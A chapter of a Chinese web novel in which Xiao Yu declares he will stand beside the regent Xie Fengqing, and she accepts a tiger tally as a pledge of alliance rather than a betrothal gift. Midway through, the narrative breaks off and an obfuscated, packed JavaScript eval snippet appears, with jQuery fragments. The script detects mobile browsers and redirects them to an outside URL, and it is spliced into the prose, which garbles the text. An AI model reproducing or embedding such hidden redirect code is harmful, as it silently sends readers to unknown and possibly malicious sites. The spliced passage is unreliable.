第148章这话我说了,就不会收回
作品:《凤袍要加身》 “你说北境烽烟将起,我便去整顿边军,加固城防,训练新兵。你说西戎虎视眈眈,我便去梳理商道,布置暗哨,分化诸部。你说海疆不宁,我便去督造战船,操练水师,绘制海图。你说新政推行受阻,我便去清查吏治,打击豪强,疏通言路。你说女学难办,我便去说服宗亲,筹措钱粮,延请名师。”
他的目光转回她脸上,那目光炽热而坚定,仿佛要将这夜色都点燃。
“山河未宁,那我们就一起去让它安宁。天下未定,那我们就一起去让它安定。你要开辟的新纪元,我来为你扫清障碍。你要点燃的燎原之火,我来为你添薪加柴。”
“谢凤卿,”他叫她的名字,声音里有一种近乎虔诚的郑重,“你可以不答应嫁给我,但你不能阻止我站在你身边。你可以不接受这虎符为聘,但你不能拒绝我以手中之剑,为你劈开前路荆棘。你可以将婚期推迟到山河大定之日,但你不能否认——从今往后,我萧御的剑锋所指,便是你目光所向之处。我掌中权柄所及,便是你理想实现之地。”
书房里再次陷入寂静。但这次的寂静与之前不同——不再是压抑的、令人窒息的对峙,而是一种奇异的、充满张力的平衡。就像暴风雨来临前的那一刻,天空低垂,空气凝滞,可你知道,接下来要发生的一切,将彻底改变世界的面貌。
谢凤卿看着眼前这个男人。烛光与月光在他脸上交织出明暗分明的光影,勾勒出他棱角分明的下颌,挺直的鼻梁,还有那双此刻正毫不避讳地凝视着她的眼睛。那眼睛里有什么?是炽热的情感,是不容动摇的决心,是洞悉一切的清醒,还有一种近乎悲壮的、愿意与整个世界为敌也要站在她身边的孤勇。
她忽然想起很多事。
想起北境风雪中,他率军突袭蛮族大营,浴血奋战三天三夜,只为兑现对她“必破敌军”的承诺。
想起回京路上,遭遇宗室死士伏击,他将她护在身后,背上中箭也未曾退后半步。
想起朝堂之上,面对满朝质疑,他第一个站出来,以监国亲王之尊为她作保,力排众议。
想起今日承运殿前,万国使节山呼“财神大帝”时,他站在她身侧稍后,目光始终落在她身上,仿佛在告诉所有人——她若为峰,他便是托起这座峰的山峦。
原来不知不觉间,这个人已经用这样的方式,走进了她的生命,融入了她的道路。他不是附庸,不是追随者,他是并肩者,是同路人。他说得对——她要守护的,正是他想守护的。她要改变的,正是他愿意助她改变的。
“萧御。”她终于开口,声音有些沙哑。这是她今夜第二次这样唤他的名字,不带任何前缀,只是单纯的两个字,却在这夜色中显得格外不同。
“我在。”他回答,简短的两个字,却仿佛承载了千言万语。
“如果我告诉你,”谢凤卿看着他,目光清澈如寒潭,却又深不见底,“我要走的路,可能会颠覆千百年来的纲常伦理,可能会触动无数既得利益者,可能会引来全天下的口诛笔伐,可能会让我成为史书上的‘祸国妖女’或‘乱政权臣’——即便这样,你也要站在我身边吗?”
萧御笑了。那是一个很淡的笑容,却在他向来冷峻的脸上显得格外生动,仿佛冰封的湖面裂开一道缝隙,露出底下滚烫的岩浆。
“谢凤卿,”他说,“你觉得我在乎这些吗?”
他顿了顿,笑容渐渐敛去,神色重新变得肃然:“自我记事起,看到的便是朝堂党争不休,边关烽火不断,国库空虚,民不聊生。我亲眼见过北境百姓在蛮族铁蹄下流离失所,也亲眼见过江南富户朱门酒肉臭,路有冻死骨。我见过才华横溢的女子因性别所限,终生困于深宅后院,也见过不学无术的纨绔因出身高贵,平步青云。”
“这个世道,早就该变了。”他的声音沉下来,带着一种久经思虑的沉重,“只是千百年来,无人有魄力去变,也无人有能力去变。直到你出现——直到你以女子之身摄政监国,以商贾之道充盈国库,以**之力震慑四方,以通衢之网联结天下,以女学之教开启民智。”
他看着她,目光灼灼:“你要颠覆纲常?那旧纲常本就不公。你要触动利益?那既得利益本就是不义之财。你要引来口诛笔伐?那就让他们骂。史书工笔?百年之后,自有后人评说。但在我眼中,在我心里——”
他再次向前半步,这一次,两人之间已近到呼吸可闻。
“你是我见过最清醒、最勇敢、也最该站在这个位置上的人。”萧御一字一顿地说,“你要开辟的新路,或许艰难,或许危险,但那是唯一正确的路。我愿意与你同行,不是因为儿女私情,而是因为——我信你。信你的眼光,信你的能力,信你心中的那份天下。”
谢凤卿的指尖微微颤抖了一下。
她忽然想起很久以前,师父曾对她说过的话。
那时她还是个不谙世事的少女,在终南山上学艺。师父是前朝大儒,因不满朝**败而归隐山林。有一日讲学,说起治国之道,师父叹道:“古来为政者,或重武功,或重文治,或重权术,或重仁德。然真能匡扶天下、泽被苍生者,必是心怀大爱、眼有远见、手握实权、身怀绝技之人。四者缺一,难成大事。”
“那这样的人,千年可有一遇?”她当时问。
师父沉默良久,望向远山云海,缓缓道:“或许有,或许无。但若真有此人,必是背负天命,也必是——孤独至极。”
“为何孤独?”
“因为走得越高,看得越远,能与同行者便越少。因为要担的责任太重,要破的规矩太多,要受的非议太烈。到最后,或许连一个能理解、能信任、能托付的人,都难寻觅。”
那时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945084|186727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的她懵懂,不解其中深意。直到今日,直到此刻,站在权力的巅峰,面对着这个男人如此坦荡、如此决绝的告白与承诺,她才忽然懂了——师父说的孤独,是因为高处不胜寒,是因为知音世所稀。
但如果……如果真的有这样一个人呢?
如果真的有一个人,不因她的性别而轻视,不因她的权势而谄媚,不因她的理想而畏惧,不因她的道路而退缩。他只是看清了她要做的事,认准了她要走的路,然后如此坚定地、清醒地、义无反顾地选择与她并肩。
那这高处,是否还会如此孤寒?
“萧御,”她第三次叫他的名字,声音很轻,却带着某种下定决心的重量,“你可知道,若你今夜这番话传出去,会是什么后果?”
“知道。”他答得毫不犹豫,“朝野会说我被美色所惑,宗亲会骂我背弃祖制,史官会记我‘私德有亏’。但那又如何?”
他看着她,目光坦荡如晴空:“我萧御行事,但求无愧于心,无愧于民,无愧于这江山社稷。至于旁人如何评说——重要吗?”
谢凤卿沉默了。
她走到书案前,目光落在那对并排放置的青铜虎符上。在昏黄的灯光下,虎符表面的铜锈泛着幽暗的光泽,那些古老的符文仿佛在诉说着千年的兵戈铁马、权力更迭。她伸出手,指尖轻轻拂过冰冷的青铜表面,触感粗糙而沉重。
“这虎符,”她缓缓道,“可调京畿三万禁军,北境五万边军,共计八万精锐。持此符者,在紧急时可先调兵后奏,是真正的国之重器。”
“是。”萧御道,“所以我将它带来,作为聘礼。”
“不。”谢凤卿抬起头,目光与他相接,“这不是聘礼。”
她顿了顿,一字一句道:“这是你的诚意,也是你的信任。我将它收下——但不是作为你娶我的聘礼,而是作为你我并肩作战的信物。”
萧御眸光一动。
“山河未宁,不办婚礼,这话我说了,就不会收回。”谢凤卿的声音清晰而坚定,“但山河未宁,不代表你我不可以立约。”
她走到窗前,推开窗。夜风灌入,吹动她的长发和衣袂。她望着窗外无垠的夜色,缓缓道:“今夜之前,你我是盟友,是合作伙伴,是朝堂上互相扶持的同僚。但从今夜起——”
她转过身,月光洒在她脸上,那张清冷绝艳的面容此刻有种惊心动魄的美。
“你我就是立下生死之约的同路人。”她说,“这约定,不涉儿女私情,不论婚嫁之事。它只关乎一件事——你我同心,共安天下。你要助我推行新政,我要与你共固江山。你要为我扫清障碍,我要助你实现抱负。这**山河,这千万黎民,从今往后,是你我共同的责任。”
她走回书案前,拿起其中一半虎符,握在掌心。青铜的冰冷透过皮肤传来,沉甸甸的,像是一个承诺的重量。

